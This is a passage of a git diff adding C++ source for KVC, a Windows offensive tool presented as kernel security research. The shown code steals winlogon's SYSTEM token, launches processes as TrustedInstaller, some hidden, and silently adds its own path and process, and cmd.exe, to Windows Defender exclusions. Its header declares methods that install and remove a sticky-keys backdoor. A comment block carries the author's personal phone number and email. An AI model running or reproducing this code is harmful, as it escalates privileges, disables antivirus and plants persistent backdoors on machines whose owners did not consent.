(!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { + ERROR(L"Failed to remove cmd.exe from Defender process exclusions"); + success = false; + } + + if (success) { + SUCCESS(L"Sticky keys backdoor removed successfully"); + } else { + INFO(L"Sticky keys backdoor removal completed with some errors"); + } + + return success; +} + +// Enhanced Defender exclusion management with process support +bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + // Use custom path or current executable path + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + bool isSelfProtection = customPath.empty(); // Self-protection when no custom path + + // Self-protection: add to BOTH paths and processes for complete protection + if (isSelfProtection && isExecutable) { + bool pathSuccess = AddPathExclusion(currentPath); + bool processSuccess = AddProcessToDefenderExclusions(filePath.filename().wstring()); + + if (pathSuccess && processSuccess) { + SUCCESS(L"Self-protection: added to both path and process exclusions"); + return true; + } else if (pathSuccess) { + SUCCESS(L"Self-protection: added to path exclusions (process exclusion failed)"); + return true; + } + return false; + } + + // Regular files: use existing logic + if (isExecutable) { + std::wstring processName = filePath.filename().wstring(); + return AddProcessToDefenderExclusions(processName); + } else { + return AddPathExclusion(currentPath); + } +} + +bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { + // Escape single quotes in path for PowerShell + std::wstring escapedPath; + for (wchar_t c : path) { + if (c == L'\'') + escapedPath += L"''"; + else + escapedPath += c; + } + + std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + escapedPath + L"'\""; + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender path exclusions: %s", path.c_str()); + } + return result; +} + +bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + // Use custom path or current executable path + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + // Determine if it's an executable (process exclusion) or path exclusion + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + + if (isExecutable) { + // Remove from process exclusions + std::wstring processName = filePath.filename().wstring(); + return RemoveProcessFromDefenderExclusions(processName); + } else { + // Remove from path exclusions (original logic) + // Escape single quotes in path for PowerShell + std::wstring escapedPath; + for (wchar_t* p = currentPath; *p; ++p) { + if (*p == L'\'') + escapedPath += L"''"; + else + escapedPath += *p; + } + + // Build PowerShell command to remove path exclusion + std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionPath '" + escapedPath + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender path exclusions: %s", currentPath); + } else { + ERROR(L"Failed to remove from Windows Defender path exclusions"); + } + + return result; + } +} + +// Process exclusion management for Defender bypass +bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) +{ + // Escape single quotes in process name for PowerShell + std::wstring escapedProcessName; + for (wchar_t c : processName) { + if (c == L'\'') + escapedProcessName += L"''"; // Double single quotes for PowerShell escaping + else + escapedProcessName += c; + } + + // Build PowerShell command to add process exclusion + std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender process exclusions: %s", processName.c_str()); + } else { + ERROR(L"Failed to add to Windows Defender process exclusions: %s", processName.c_str()); + } + + return result; +} + +bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) +{ + // Escape single quotes in process name for PowerShell + std::wstring escapedProcessName; + for (wchar_t c : processName) { + if (c == L'\'') + escapedProcessName += L"''"; + else + escapedProcessName += c; + } + + // Build PowerShell command to remove process exclusion + std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender process exclusions: %s", processName.c_str()); + } else { + ERROR(L"Failed to remove from Windows Defender process exclusions: %s", processName.c_str()); + } + + return result; +} + +// Shortcut file detection and resolution +BOOL TrustedInstallerIntegrator::IsLnkFile(LPCWSTR filePath) +{ + if (!filePath || wcslen(filePath) < 4) + return FALSE; + + fs::path path(filePath); + std::wstring ext = path.extension().wstring(); + + return _wcsicmp(ext.c_str(), L".lnk") == 0; +} + +std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) +{ + std::wstring result; + IShellLinkW* psl = nullptr; + IPersistFile* ppf = nullptr; + + // Verify shortcut file exists + if (GetFileAttributesW(lnkPath) == INVALID_FILE_ATTRIBUTES) + { + std::wcout << L"Shortcut file does not exist: " << lnkPath << std::endl; + return result; + } + + // Create shell link object + HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl); + if (FAILED(hres)) + { + std::wcout << L"Failed to create ShellLink instance: 0x" << std::hex << hres << std::endl; + return result; + } + + // Get persist file interface + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (FAILED(hres)) + { + std::wcout << L"Failed to get IPersistFile interface: 0x" << std::hex << hres << std::endl; + psl->Release(); + return result; + } + + // Load shortcut file + hres = ppf->Load(lnkPath, STGM_READ); + if (FAILED(hres)) + { + std::wcout << L"Failed to load shortcut file: 0x" << std::hex << hres << std::endl; + ppf->Release(); + psl->Release(); + return result; + } + + // Extract target path and arguments + wchar_t targetPath[MAX_PATH * 2] = {0}; + WIN32_FIND_DATAW wfd = {0}; + + hres = psl->GetPath(targetPath, MAX_PATH * 2, &wfd, SLGP_RAWPATH); + if (FAILED(hres)) + { + std::wcout << L"Failed to get shortcut target path: 0x" << std::hex << hres << std::endl; + } + else if (wcslen(targetPath) > 0) + { + result = targetPath; + + // Append arguments if present + wchar_t args[MAX_PATH * 2] = {0}; + hres = psl->GetArguments(args, MAX_PATH * 2); + if (SUCCEEDED(hres) && wcslen(args) > 0) + { + result += L" "; + result += args; + } + } + + ppf->Release(); + psl->Release(); + + return result; +} + +BOOL TrustedInstallerIntegrator::EnablePrivilege(LPCWSTR privilegeName) +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) + return FALSE; + + LUID luid; + if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) + { + CloseHandle(hToken); + return FALSE; + } + + TOKEN_PRIVILEGES tp = { 0 }; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + CloseHandle(hToken); + + return result && (GetLastError() == ERROR_SUCCESS); +} + +DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) + return 0; + + DWORD pid = 0; + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) + { + do + { + if (wcscmp(pe.szExeFile, processName) == 0) + { + pid = pe.th32ProcessID; + break; + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return pid; +} + +// SYSTEM account impersonation via winlogon process +BOOL TrustedInstallerIntegrator::ImpersonateSystem() +{ + DWORD systemPid = GetProcessIdByName(L"winlogon.exe"); + if (systemPid == 0) + return FALSE; + + HANDLE hSystemProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, systemPid); + if (!hSystemProcess) + return FALSE; + + HANDLE hSystemToken; + if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hSystemToken)) + { + CloseHandle(hSystemProcess); + return FALSE; + } + + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hSystemToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDuplicatedToken)) + { + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return FALSE; + } + + BOOL result = ImpersonateLoggedOnUser(hDuplicatedToken); + + CloseHandle(hDuplicatedToken); + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return result; +} + +// TrustedInstaller service lifecycle management +DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() +{ + SC_HANDLE hSCManager = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (!hSCManager) + return 0; + + SC_HANDLE hService = OpenServiceW(hSCManager, L"TrustedInstaller", SERVICE_QUERY_STATUS | SERVICE_START); + if (!hService) + { + CloseServiceHandle(hSCManager); + return 0; + } + + SERVICE_STATUS_PROCESS statusBuffer; + DWORD bytesNeeded; + DWORD trustedInstallerPid = 0; + DWORD startTime = GetTickCount(); + const DWORD timeout = 30000; // 30 second timeout + + // Wait for service to reach running state + while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) + { + switch (statusBuffer.dwCurrentState) + { + case SERVICE_STOPPED: + // Start the service + if (!StartServiceW(hService, 0, NULL)) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; + } + break; + + case SERVICE_START_PENDING: + case SERVICE_STOP_PENDING: + // Check timeout + if (GetTickCount() - startTime > timeout) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; + } + Sleep(statusBuffer.dwWaitHint); + break; + + case SERVICE_RUNNING: + // Service is running, return PID + trustedInstallerPid = statusBuffer.dwProcessId; + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return trustedInstallerPid; + + default: + Sleep(100); + break; + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; +} + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + // CreateProcessWithTokenW requires mutable command line + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi; + + BOOL result = CreateProcessWithTokenW( + hToken, + 0, + NULL, + mutableCmd, + 0, + NULL, + NULL, + &si, + &pi + ); + + if (result) + { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // Hide window for silent execution + + PROCESS_INFORMATION pi; + BOOL result = CreateProcessWithTokenW( + hToken, + 0, + NULL, + mutableCmd, + CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, + NULL, + NULL, + &si, + &pi + ); + + if (result) + { + // Wait for process completion with timeout + DWORD waitResult = WaitForSingleObject(pi.hProcess, 15000); + + if (waitResult == WAIT_OBJECT_0) + { + DWORD exitCode; + GetExitCodeProcess(pi.hProcess, &exitCode); + result = (exitCode == 0); + } + else if (waitResult == WAIT_TIMEOUT) + { + TerminateProcess(pi.hProcess, 1); + result = FALSE; + } + else + { + result = FALSE; + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +// Registry context menu integration +bool TrustedInstallerIntegrator::AddContextMenuEntries() +{ + wchar_t currentPath[MAX_PATH]; + GetModuleFileNameW(NULL, currentPath, MAX_PATH); + + // Build command line for context menu + std::wstring command = L"\""; + command += currentPath; + command += L"\" trusted \"%1\""; + + std::wstring iconPath = L"shell32.dll,77"; // Shield icon from shell32 + + HKEY hKey; + DWORD dwDisposition; + + // Add context menu for .exe files + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + + // Set icon + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + // Add UAC shield + std::wstring emptyValue = L""; + RegSetValueExW(hKey, L"HasLUAShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add command for .exe files + std::wstring exeCommandPath = L"exefile\\shell\\RunAsTrustedInstaller\\command"; + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, exeCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add context menu for .lnk files (shortcuts) + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + + // Set icon + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + // Add UAC shield + std::wstring emptyValue = L""; + RegSetValueExW(hKey, L"HasLUASShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add command for .lnk files + std::wstring lnkCommandPath = L"lnkfile\\shell\\RunAsTrustedInstaller\\command"; + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, lnkCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hKey); + } + + SUCCESS(L"Successfully added context menu entries for .exe and .lnk files"); + return true; +} + +// TrustedInstaller command execution with shortcut resolution +bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + // Resolve shortcut if the command is a .lnk file + if (IsLnkFile(commandLine.c_str())) + { + std::wcout << L"Resolving shortcut: " << commandLine << std::endl; + finalCommandLine = ResolveLnk(commandLine.c_str()); + + if (finalCommandLine.empty()) + { + std::wcout << L"Failed to resolve shortcut, cannot execute .lnk file directly." << std::endl; + return false; + } + + std::wcout << L"Resolved shortcut to: " << finalCommandLine << std::endl; + } + + std::wcout << L"Executing with elevated system privileges: " << finalCommandLine << std::endl; + + // Enable required privileges + EnablePrivilege(L"SeDebugPrivilege"); + EnablePrivilege(L"SeImpersonatePrivilege"); + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + // Impersonate SYSTEM to access TrustedInstaller + if (!ImpersonateSystem()) + { + std::wcout << L"Failed to impersonate SYSTEM account: " << GetLastError() << std::endl; + return false; + } + + // Start TrustedInstaller service + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) + { + std::wcout << L"Failed to start elevated system service: " << GetLastError() << std::endl; + RevertToSelf(); + return false; + } + + // Create process with TrustedInstaller privileges + BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); + if (!result) + { + std::wcout << L"Failed to create process with elevated privileges: " << GetLastError() << std::endl; + } + else + { + std::wcout << L"Process started successfully with maximum system privileges" << std::endl; + } + + RevertToSelf(); + return result != FALSE; +} + +bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + // Resolve shortcut if needed + if (IsLnkFile(commandLine.c_str())) + { + finalCommandLine = ResolveLnk(commandLine.c_str()); + if (finalCommandLine.empty()) { + return false; + } + } + + // Enable privileges silently + EnablePrivilege(L"SeDebugPrivilege"); + EnablePrivilege(L"SeImpersonatePrivilege"); + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + if (!ImpersonateSystem()) { + return false; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) { + RevertToSelf(); + return false; + } + + BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + + RevertToSelf(); + return result != FALSE; +} \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h new file mode 100644 index 0000000..3aef00b --- /dev/null +++ b/kvc/TrustedInstallerIntegrator.h @@ -0,0 +1,82 @@ +#pragma once + +#include +#include +#include + +// TrustedInstaller privilege escalation for maximum system access +class TrustedInstallerIntegrator +{ +public: + TrustedInstallerIntegrator(); + ~TrustedInstallerIntegrator(); + + // Enhanced exclusion types for comprehensive Defender management + enum class ExclusionType { + Paths, + Processes, + Extensions, + IpAddresses + }; + + // Main public interface for elevated operations + bool RunAsTrustedInstaller(const std::wstring& commandLine); + bool RunAsTrustedInstallerSilent(const std::wstring& commandLine); + + // Legacy exclusion management (backward compatibility) + bool AddToDefenderExclusions(const std::wstring& customPath = L""); + bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); + bool AddContextMenuEntries(); + + // Enhanced exclusion management with type specification + bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); + bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); + + // Type-specific exclusion methods for convenience + bool AddExtensionExclusion(const std::wstring& extension); + bool RemoveExtensionExclusion(const std::wstring& extension); + bool AddIpAddressExclusion(const std::wstring& ipAddress); + bool RemoveIpAddressExclusion(const std::wstring& ipAddress); + + // Sticky keys backdoor management + bool InstallStickyKeysBackdoor() noexcept; + bool RemoveStickyKeysBackdoor() noexcept; + + // Process exclusion management for Defender bypass + bool AddProcessToDefenderExclusions(const std::wstring& processName); + bool RemoveProcessFromDefenderExclusions(const std::wstring& processName); + + // Public access methods for Controller integration + static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; } + static int GetPrivilegeCount() { return PRIVILEGE_COUNT; } + bool PublicImpersonateSystem() { return ImpersonateSystem(); } + + // TrustedInstaller token management + HANDLE GetCachedTrustedInstallerToken(); + DWORD StartTrustedInstallerService(); + +private: + // Privilege and process management + BOOL EnablePrivilege(LPCWSTR privilegeName); + DWORD GetProcessIdByName(LPCWSTR processName); + BOOL ImpersonateSystem(); + + // Process creation with TrustedInstaller token + BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine); + BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine); + + // Shortcut file handling for .lnk support + std::wstring ResolveLnk(LPCWSTR lnkPath); + BOOL IsLnkFile(LPCWSTR filePath); + bool AddPathExclusion(const std::wstring& path); + + // Validation and helper methods for exclusions + bool ValidateExtension(const std::wstring& extension) noexcept; + bool ValidateIpAddress(const std::wstring& ipAddress) noexcept; + std::wstring NormalizeExtension(const std::wstring& extension) noexcept; + std::wstring GetExclusionTypeString(ExclusionType type) noexcept; + + // Complete Windows privilege set for maximum access + static const LPCWSTR ALL_PRIVILEGES[]; + static const int PRIVILEGE_COUNT; +}; \ No newline at end of file diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp new file mode 100644 index 0000000..85eb9db --- /dev/null +++ b/kvc/Utils.cpp @@ -0,0 +1,902 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation +#include "Utils.h" +#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "resource.h" + +namespace fs = std::filesystem; + +#pragma comment(lib, "psapi.lib") + + +namespace Utils +{ + // Optimized kernel address resolution with inline assembly hints + std::optional GetKernelBaseAddress() noexcept { + static ULONG_PTR cachedBase = 0; + static DWORD lastCheck = 0; + + const DWORD currentTick = static_cast(GetTickCount64()); + if (cachedBase != 0 && (currentTick - lastCheck) < 60000) { // Cache for 1 minute + return cachedBase; + } + + // Method 1: NtQuerySystemInformation + typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG); + const HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) return std::nullopt; + + const pNtQuerySystemInformation NtQuerySystemInformation = + reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + if (!NtQuerySystemInformation) return std::nullopt; + + ULONG bufferSize = 0; + NtQuerySystemInformation(11, nullptr, 0, &bufferSize); // SystemModuleInformation + + if (bufferSize == 0) return std::nullopt; + + std::vector buffer(bufferSize); + const NTSTATUS status = NtQuerySystemInformation(11, buffer.data(), bufferSize, nullptr); + + if (status == 0) { // STATUS_SUCCESS + struct SYSTEM_MODULE { + ULONG_PTR Reserved[2]; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + }; + + struct SYSTEM_MODULE_INFORMATION { + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + }; + + const auto* moduleInfo = reinterpret_cast(buffer.data()); + if (moduleInfo->ModulesCount > 0) { + cachedBase = reinterpret_cast(moduleInfo->Modules[0].Base); + lastCheck = currentTick; + return cachedBase; + } + } + + return std::nullopt; + } + + // Optimized PID parsing with zero-allocation validation + std::optional ParsePid(const std::wstring& pidStr) noexcept { + if (pidStr.empty() || pidStr.size() > 10) return std::nullopt; + + DWORD result = 0; + for (const wchar_t ch : pidStr) { + if (ch < L'0' || ch > L'9') return std::nullopt; + + if (result > (UINT32_MAX - (ch - L'0')) / 10) return std::nullopt; + + result = result * 10 + (ch - L'0'); + } + + return result; + } + + // Optimized numeric validation - single pass + bool IsNumeric(const std::wstring& str) noexcept { + return !str.empty() && + std::all_of(str.begin(), str.end(), [](wchar_t ch) { + return ch >= L'0' && ch <= L'9'; + }); + } + + // Force delete a file, handling read-only, system, and hidden attributes + bool ForceDeleteFile(const std::wstring& path) noexcept { + // First, try normal delete + if (DeleteFileW(path.c_str())) { + return true; + } + + // If that fails, try to remove attributes and delete again + DWORD attrs = GetFileAttributesW(path.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + // Remove read-only, system, hidden attributes + SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + // Try delete again + if (DeleteFileW(path.c_str())) { + return true; + } + + // Final attempt: move to temp and delete after reboot if needed + wchar_t tempPath[MAX_PATH]; + if (GetTempPathW(MAX_PATH, tempPath)) { + wchar_t tempFile[MAX_PATH]; + if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) { + if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) { + MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); + return true; + } + } + } + + return false; + } + + // Enhanced file writing with comprehensive error handling and retry logic + bool WriteFile(const std::wstring& path, const std::vector& data) { + if (data.empty()) return false; + + // Ensure parent directory exists + const fs::path filePath = path; + std::error_code ec; + fs::create_directories(filePath.parent_path(), ec); + + // First, try to delete existing file if it exists + if (fs::exists(filePath)) { + if (!ForceDeleteFile(path)) { + // If we can't delete, try to overwrite by opening with FILE_FLAG_BACKUP_SEMANTICS + HANDLE hFile = CreateFileW(path.c_str(), + GENERIC_WRITE, + 0, + nullptr, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, + nullptr); + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } else { + return false; + } + } + } + + // Primary write attempt with optimized flags + HANDLE hFile = CreateFileW(path.c_str(), + GENERIC_WRITE, + 0, // No sharing during write + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, + nullptr); + + if (hFile == INVALID_HANDLE_VALUE) { + return false; + } + + // Write data in chunks for large files to handle memory pressure + constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks + DWORD totalWritten = 0; + const DWORD totalSize = static_cast(data.size()); + + while (totalWritten < totalSize) { + const DWORD bytesToWrite = std::min(CHUNK_SIZE, totalSize - totalWritten); + DWORD bytesWritten; + + if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) { + CloseHandle(hFile); + DeleteFileW(path.c_str()); // Cleanup partial file + return false; + } + + if (bytesWritten != bytesToWrite) { + CloseHandle(hFile); + DeleteFileW(path.c_str()); // Cleanup partial file + return false; + } + + totalWritten += bytesWritten; + } + + // Ensure data is flushed to disk + FlushFileBuffers(hFile); + CloseHandle(hFile); + + return true; + } + + // Optimized file reading with memory mapping for large files + std::vector ReadFile(const std::wstring& path) { + HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, + nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); + if (hFile == INVALID_HANDLE_VALUE) { + return {}; + } + + LARGE_INTEGER fileSize; + if (!GetFileSizeEx(hFile, &fileSize)) { + CloseHandle(hFile); + return {}; + } + + // Use memory mapping for files > 64KB for better performance + if (fileSize.QuadPart > 65536) { + HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr); + if (hMapping) { + void* pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + if (pData) { + std::vector result(static_cast(pData), + static_cast(pData) + fileSize.QuadPart); + UnmapViewOfFile(pData); + CloseHandle(hMapping); + CloseHandle(hFile); + return result; + } + CloseHandle(hMapping); + } + } + + // Fallback to standard read for small files or mapping failure + std::vector buffer(static_cast(fileSize.QuadPart)); + DWORD bytesRead; + + BOOL success = ::ReadFile(hFile, buffer.data(), static_cast(buffer.size()), &bytesRead, nullptr); + CloseHandle(hFile); + + if (!success || bytesRead != buffer.size()) { + return {}; + } + + return buffer; + } + + // Enhanced resource extraction with validation + std::vector ReadResource(int resourceId, const wchar_t* resourceType) { + const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType); + if (!hRes) return {}; + + const HGLOBAL hData = LoadResource(nullptr, hRes); + if (!hData) return {}; + + const DWORD dataSize = SizeofResource(nullptr, hRes); + if (dataSize == 0) return {}; + + void* pData = LockResource(hData); + if (!pData) return {}; + + return std::vector(static_cast(pData), + static_cast(pData) + dataSize); + } + + // Advanced process name resolution with caching + static std::unordered_map g_processCache; + static DWORD g_lastCacheUpdate = 0; + + std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept { + // Cache management - refresh every 30 seconds + const DWORD currentTick = static_cast(GetTickCount64()); + if (currentTick - g_lastCacheUpdate > 30000) { + g_processCache.clear(); + g_lastCacheUpdate = currentTick; + } + + // Check cache first + const auto cacheIt = g_processCache.find(pid); + if (cacheIt != g_processCache.end()) { + return cacheIt->second; + } + + std::wstring processName = L"Unknown"; + + // Try multiple resolution methods + const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (hProcess) { + wchar_t imageName[MAX_PATH]; + DWORD size = MAX_PATH; + + // Method 1: QueryFullProcessImageName (Vista+) + if (QueryFullProcessImageNameW(hProcess, 0, imageName, &size)) { + processName = fs::path(imageName).filename().wstring(); + } 